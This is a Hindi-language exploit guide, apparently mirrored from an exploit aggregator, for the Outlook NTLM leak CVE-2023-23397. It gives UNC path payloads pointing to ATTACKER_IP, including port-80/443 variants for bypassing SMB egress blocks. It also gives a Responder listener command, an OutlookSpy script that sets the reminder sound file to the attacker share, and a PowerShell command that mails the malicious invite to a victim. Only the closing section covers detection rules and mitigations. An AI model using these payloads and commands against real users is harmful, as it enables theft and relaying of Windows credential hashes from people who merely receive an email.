Exploit for OutlookNTLM_CVE-2023-23397

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MUHAMMAD-ALI007-OUTLOOKNTLM_CVE-2023-23397
इस कमजोरी का शोषण करने के लिए, एक हमलावर को एक दुर्भावनापूर्ण कैलेंडर आमंत्रण बनाना होगा जिसमें एक साउंड फ़ाइल का संदर्भ शामिल हो जो हमलावर की मशीन पर नेटवर्क शेयर में किसी फ़ाइल की ओर इशारा करता है। निचले स्तर पर, एक Outlook ईमेल "PidLidReminderFileParameter" नामक आंतरिक पैरामीटर में साउंड फ़ाइल के संदर्भ को संग्रहीत करता है। यह सुनिश्चित करने के लिए कि हम अपने दुर्भावनापूर्ण ईमेल में जो ऑडियो एम्बेड करते हैं, वह पीड़ित की डिफ़ॉल्ट रिमाइंडर कॉन्फ़िगरेशन पर वरीयता ले, हमें "PidLidReminderOverride" नामक एक और पैरामीटर को true पर सेट करना होगा।

"PidLidReminderFileParameter" प्रॉपर्टी को नेटवर्क शेयर की ओर इंगित करने के लिए, हमलावर स्थानीय फ़ाइल के बजाय यूनिवर्सल नेमिंग कन्वेंशन (UNC) पथ निर्दिष्ट कर सकता है। UNC का उपयोग Windows ऑपरेटिंग सिस्टम में नेटवर्क संसाधनों (फ़ाइलों, प्रिंटर, साझा दस्तावेज़ों) को खोजने के लिए किया जाता है। इन पथों में डबल बैकस्लैश, संसाधन होस्ट करने वाले कंप्यूटर का IP पता या नाम, शेयर नाम और फ़ाइल नाम शामिल होते हैं। उदाहरण के लिए:

root@kitploit:~
    
    
    \\ATTACKER_IP\foo\bar.wav
    

जब पीड़ित को दुर्भावनापूर्ण ईमेल प्राप्त होता है, तो UNC पथ उन्हें उस SMB शेयर पर निर्देशित करता है, जिससे यह कमजोरी ट्रिगर होती है। इससे सिस्टम हमलावर की मशीन के खिलाफ NTLM प्रमाणीकरण प्रक्रिया शुरू कर देता है, और एक Net-NTLMv2 हैश लीक हो जाता है जिसे हमलावर बाद में क्रैक करने की कोशिश कर सकता है।

यदि किसी कारण से SMB प्रोटोकॉल उपयोग के लिए व्यवहार्य विकल्प नहीं है, तो Windows के गैर-सर्वर संस्करण 80 या 443 पोर्ट की ओर इंगित करने वाले UNC पथों का उपयोग स्वीकार करेंगे, और WebDAV-सक्षम वेब सर्वर से फ़ाइल प्राप्त करने के लिए HTTP का उपयोग करेंगे। ऐसे UNC पथ का सिंटैक्स इस प्रकार है:

root@kitploit:~
    
    
    \\ATTACKER_IP@80\foo\bar.wav
    OR
    \\ATTACKER_IP@443\foo\bar.wav
    

यह पोर्ट 445 (SMB) पर आउटगोइंग कनेक्शन को रोकने वाले फ़ायरवॉल प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है।

हमला चरण

आइए आवश्यक पैरामीटर वाला एक दुर्भावनापूर्ण ईमेल तैयार करें जिसमें एक अपॉइंटमेंट हो ताकि इसे ट्रिगर किया जा सके।

Responder सेट करना:

चूंकि हम उम्मीद करते हैं कि पीड़ित पोर्ट 445 पर हमलावर के खिलाफ एक प्रमाणीकरण प्रयास को ट्रिगर करेगा, हम प्रमाणीकरण प्रक्रिया को संभालने और हमारे लिए NetNTLM हैश को कैप्चर करने के लिए Responder सेट करेंगे। यदि आप Responder से अपरिचित हैं, तो यह केवल एक SMB सर्वर का अनुकरण करेगा और उसके खिलाफ किसी भी प्रमाणीकरण प्रयास को कैप्चर करेगा। responder -I 

दुर्भावनापूर्ण अपॉइंटमेंट को हाथ से तैयार करने का प्रयास:

  * पहले प्रयास के रूप में, हम मैन्युअल रूप से एक अपॉइंटमेंट बना सकते हैं और रिमाइंडर की साउंड फ़ाइल के पथ को एक साझा फ़ोल्डर की ओर इंगित करने के लिए संपादित कर सकते हैं। अपॉइंटमेंट बनाने के लिए, आपको पहले कैलेंडर पर क्लिक करना होगा और फिर New Appointment बटन पर क्लिक करना होगा।
  * हम एक अपॉइंटमेंट बनाएंगे जिसमें 0 मिनट पर सेट रिमाइंडर शामिल हो ताकि पीड़ित इसे प्राप्त करने के तुरंत बाद ट्रिगर हो जाए। हम रिमाइंडर की साउंड फ़ाइल को कॉन्फ़िगर करने के लिए Sound विकल्प पर भी क्लिक करेंगे।
  * हम साउंड फ़ाइल पथ को एक UNC पथ पर सेट करने का प्रयास कर सकते हैं जो हमलावर की मशीन की ओर इंगित करता है। हालाँकि, Outlook चुपचाप UNC पथ को अनदेखा कर देगा और डिफ़ॉल्ट WAV फ़ाइल का उपयोग करने पर वापस आ जाएगा, जिसकी पुष्टि Sound डायलॉग पर वापस जाकर की जा सकती है (यदि इसे प्रतिस्थापित नहीं किया गया है, तो हम यहाँ से आगे बढ़ सकते हैं या हमें सहायता के लिए OutlookSpy प्लगइन स्थापित करने की आवश्यकता होगी)।



OutlookSpy:

भले ही Outlook रिमाइंडर की साउंड फ़ाइल को UNC पथ पर सेट न कर सके, हम इसे प्राप्त करने के लिए OutlookSpy प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपको Outlook के सभी आंतरिक पैरामीटरों तक सीधे पहुंचने की अनुमति देगा, जिसमें रिमाइंडर की साउंड फ़ाइल भी शामिल है। आगे बढ़ने से पहले आपको इसे मैन्युअल रूप से स्थापित करना होगा। इंस्टॉलर चलाने से पहले Outlook को बंद करना सुनिश्चित करें।

  * OutlookSpy से हमारे वर्तमान अपॉइंटमेंट को देखने के लिए, OutlookSpy टैब पर क्लिक करें। अपॉइंटमेंट के भीतर से "CurrentItem" बटन पर क्लिक करना सुनिश्चित करें, अन्यथा आप Outlook के विभिन्न घटकों को संशोधित कर सकते हैं।
  * इस विंडो से, आप अपॉइंटमेंट के रिमाइंडर से जुड़े पैरामीटर देख सकते हैं। हम "ReminderSoundFile" पैरामीटर को उस UNC पथ पर सेट करना चाहते हैं जो हमलावर की मशीन की ओर इंगित करता है और "ReminderOverrideDefault" और "ReminderPlaySound" दोनों को true पर सेट करना चाहते हैं। संदर्भ के लिए, प्रत्येक पैरामीटर यह करता है: ReminderPlaySound: बूलियन मान जो इंगित करता है कि रिमाइंडर के साथ कोई ध्वनि चलाई जाएगी या नहीं। ReminderOverrideDefault: बूलियन मान जो प्राप्त करने वाले Outlook क्लाइंट को डिफ़ॉल्ट के बजाय ReminderSoundFile द्वारा इंगित ध्वनि चलाने का निर्देश देता है। ReminderSoundFile: उपयोग की जाने वाली साउंड फ़ाइल के पथ वाली स्ट्रिंग। हमारे एक्सप्लॉइट के लिए, यह हमलावर की मशीन में एक नकली साझा फ़ोल्डर की ओर इंगित करेगा।



आवश्यक मानों में पैरामीटर बदलने के लिए हम स्क्रिप्ट टैब और निम्नलिखित स्क्रिप्ट का उपयोग कर सकते हैं:

root@kitploit:~
    
    
    AppointmentItem.ReminderOverrideDefault = true
    AppointmentItem.ReminderPlaySound = true
    AppointmentItem.ReminderSoundFile = "\\<attacker's IP>\<share_folder>\file.wav"
    

परिवर्तन लागू करने के लिए "Run" बटन पर क्लिक करना सुनिश्चित करें। आप यह जांचने के लिए "Properties" टैब पर वापस जा सकते हैं कि मान सही ढंग से बदले गए थे। अंत में, अपने कैलेंडर में जोड़ने के लिए अपॉइंटमेंट को सहेजें, यह सुनिश्चित करते हुए कि रिमाइंडर "0 minutes" पर सेट है और अपॉइंटमेंट वर्तमान समय और तारीख से मेल खाता है, क्योंकि हम चाहते हैं कि यह तुरंत ट्रिगर हो।

यदि सब कुछ उम्मीद के मुताबिक हुआ, तो आपको तुरंत एक रिमाइंडर पॉप अप होता दिखना चाहिए। और आपको हमलावर की मशीन पर अपने Responder कंसोल में प्रमाणीकरण प्रयास प्राप्त करना चाहिए।

हथियारीकरण

इस कमजोरी का शोषण करने के लिए आवश्यक चरणों को सारांशित करते हुए, एक हमलावर को निम्न की आवश्यकता होगी:

  * हमलावर की मशीन पर UNC पथ की ओर इंगित करने वाली कस्टम रिमाइंडर ध्वनि के साथ एक दुर्भावनापूर्ण मीटिंग/अपॉइंटमेंट बनाएं।
  * ईमेल के माध्यम से पीड़ित को आमंत्रण भेजें।
  * रिमाइंडर द्वारा हमलावर की मशीन के खिलाफ कनेक्शन ट्रिगर करने की प्रतीक्षा करें।
  * Net-NTLMv2 हैश कैप्चर करें, प्रमाणीकरण रिलेइंग का उपयोग करें, या किसी अन्य तरीके से लाभ उठाएं।



चरण 3 और 4 हमारे लिए पहले से ही Responder द्वारा कवर किए गए हैं, लेकिन दुर्भावनापूर्ण अपॉइंटमेंट को हाथ से तैयार करना थोड़ा कठिन है। सौभाग्य से, दुर्भावनापूर्ण अपॉइंटमेंट बनाने और भेजने के लिए कुछ एक्सप्लॉइट आसानी से उपलब्ध हैं, जिनमें से एक इस रिपॉजिटरी में प्रदान किया गया है।

यह Powershell एक्सप्लॉइट ईमेल और अपॉइंटमेंट आसानी से बनाने के लिए Outlook के COM ऑब्जेक्ट का लाभ उठाता है। इसमें कुछ फ़ंक्शन हैं जिनका हम उपयोग कर सकते हैं: Save-CalendarNTLMLeak: यह फ़ंक्शन एक दुर्भावनापूर्ण अपॉइंटमेंट बनाता है और इसे आपके अपने कैलेंडर में सहेजता है। परीक्षण उद्देश्यों के लिए उपयोगी है। Send-CalendarNTLMLeak: यह फ़ंक्शन एक दुर्भावनापूर्ण अपॉइंटमेंट बनाता है और इसे ईमेल के माध्यम से पीड़ित को भेजता है। ईमेल आमंत्रण आपके Outlook के वर्तमान डिफ़ॉल्ट खाते से भेजा जाएगा।

एक्सप्लॉइट का उपयोग करना:

Powershell के भीतर, आप "Import-Module" cmdlet के साथ एक्सप्लॉइट के फ़ंक्शन आयात कर सकते हैं। उसके बाद, दोनों फ़ंक्शन आपके वर्तमान Powershell में उपलब्ध होंगे। दुर्भावनापूर्ण अपॉइंटमेंट के साथ ईमेल भेजने के लिए, आप निम्न कमांड चला सकते हैं:

root@kitploit:~
    
    
    PS C:\Users\User\Desktop\> Import-Module .\CVE-2023-23397.ps1
    PS C:\Users\User\Desktop\> Send-CalendarNTLMLeak -recipient "some-email@example.com" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
    

चूंकि एक्सप्लॉइट ईमेल भेजने के लिए वर्तमान Outlook उदाहरण का उपयोग करता है, आपको संभवतः कुछ अलर्ट मिलेंगे जो आपसे आपकी ओर से ईमेल भेजने के लिए स्क्रिप्ट को अनुमति देने के लिए कहेंगे। जितनी बार आवश्यक हो, Allow दबाना सुनिश्चित करें। "Allow access for 10 minutes" चेकबॉक्स को चिह्नित करने से भी इस प्रक्रिया को गति देने में मदद मिलनी चाहिए।

पहचान और शमन

पहचान:

अब जब हम Outlook पर CVE-2023-23397 हमले को हथियार बनाने के चरणों से गुज़र चुके हैं, तो आइए नेटवर्क के भीतर इस हमले का पता लगाने के कुछ तरीकों के बारे में बात करें। प्रत्येक हमला पैटर्न या कलाकृतियों को छोड़ता है जो पहचान टीम को खतरों की पहचान करने में मदद कर सकता है। यह सब नेटवर्क दृश्यता और लॉग स्रोतों पर निर्भर करता है जो एकत्र किए जा रहे हैं और बहुत महत्वपूर्ण दृश्यता प्रदान कर रहे हैं।

Sigma नियम:

संलग्न Sigma नियम Outlook द्वारा WebDav या SMB शेयर के लिए कनेक्शन शुरू करने का पता लगाता है, जो पोस्ट-एक्सप्लॉइटेशन चरण का संकेत देता है। यह Sigma नियम "svchost.exe" द्वारा "rundll32.exe" को C:\windows\system32\davclnt.dll,DavSetCookie जैसे कमांड तर्कों के साथ स्पॉन करने का पता लगाने के लिए देखता है, जो पोस्ट-एक्सप्लॉइटेशन/एक्सफिल्ट्रेशन चरण को इंगित करता है। इन SIGMA नियमों को नेटवर्क के भीतर संदिग्ध लॉग गतिविधि का पता लगाने के लिए डिटेक्शन और मॉनिटरिंग टूल में परिवर्तित किया जा सकता है।

Yara नियम:

YARA नियम डिस्क पर फ़ाइलों के भीतर पैटर्न की तलाश करता है। संलग्न सामुदायिक YARA नियमों का उपयोग डिस्क पर संदिग्ध MSG फ़ाइल का पता लगाने के लिए किया जा सकता है, जिसमें ऊपर दिए गए कार्यों में चर्चा किए गए दो गुण हों।

शमन:

यह कमजोरी वास्तविक दुनिया में बड़े पैमाने पर शोषण की जा रही है। इस हमले को कम करने और टालने के लिए Microsoft द्वारा अनुशंसित कुछ कदम इस प्रकार हैं:

  * उपयोगकर्ताओं को Protected Users सुरक्षा समूह में जोड़ें, जो NTLM को प्रमाणीकरण तंत्र के रूप में उपयोग करने से रोकता है।
  * किसी भी पोस्ट-एक्सप्लॉइटेशन कनेक्शन से बचने के लिए अपने नेटवर्क से TCP 445/SMB आउटबाउंड को ब्लॉक करें।
  * किसी भी हमले के प्रयास का पता लगाने के लिए Exchange सर्वर के खिलाफ स्कैन करने हेतु Microsoft द्वारा जारी PowerShell स्क्रिप्ट का उपयोग करें।
  * वेबडेव कनेक्शन से बचने के लिए WebClient सेवा को अक्षम करें।